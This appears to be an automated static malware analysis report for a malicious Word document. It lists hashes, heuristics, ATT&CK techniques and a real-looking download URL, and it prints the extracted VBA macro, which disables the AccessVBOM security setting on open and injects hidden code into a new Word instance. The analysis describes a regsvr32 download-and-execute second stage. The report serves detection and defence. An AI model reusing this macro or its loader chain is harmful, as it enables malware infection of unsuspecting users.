Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 af23d4b7238e7c34…

MALICIOUS

Office (OOXML)

42.5 KB Created: 2021-06-07 10:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 0e85c0958313717cc3eaa75739563576 SHA-1: 1d0bfb51ef2cffee9d0f0193a83d09c677358a80 SHA-256: af23d4b7238e7c34710202627722c7d2bb02645380f13066b16d6d8352545e35
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen function that executes a download subroutine. This subroutine uses Microsoft.XMLHTTP to download a file from 'http://frogretail2016b.com/adda/eeDDL/mvGhKzQjKxq7QwEy06eVGno7SWQs1SOM/coc3?qB=EgsqtCaPGlGA0MtM&user=0kDhnhgIsdYkmlB2G', saving it as 'c:\programdata\constVb.jpg'. The execute subroutine then uses Shell() to run 'regsvr32 c:\programdata\constVb.jpg', indicating an attempt to execute a second-stage payload. The script also modifies registry keys related to Office security settings.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub globalFuncClass()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & namespaceWindowTemp & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub nextTableWindow(requestTemp)
Set databaseClass = CreateObject("word.application")
With databaseClass.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "captionValueResponse"
Sub autoopen()
globalFuncClass
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://frogretail2016b.com/adda/eeDDL/mvGhKzQjKxq7QwEy06eVGno7SWQs1SOM/coc3?qB=EgsqtCaPGlGA0MtM&user=0kDhnhgIsdYkmlB2G In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1091 bytes
SHA-256: 610216d83deb438e47f27bac0c90ae84ea216ccfeb1c17f9d8c2aad88f60422f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "captionValueResponse"
Sub autoopen()
globalFuncClass
requestTemp = ActiveDocument.Range.Text
requestTemp = Mid(requestTemp, 2, Len(requestTemp))
nextTableWindow requestTemp
End Sub
Sub nextTableWindow(requestTemp)
Set databaseClass = CreateObject("word.application")
With databaseClass.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString requestTemp
End With
databaseClass.Visible = False
databaseClass.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function namespaceWindowTemp()
namespaceWindowTemp = Application.Version
End Function
Sub globalFuncClass()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & namespaceWindowTemp & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 3df61d172ed6903dc4b0cf172c5f7bd2a256d975d42ad28a44351382dfd4c2b2

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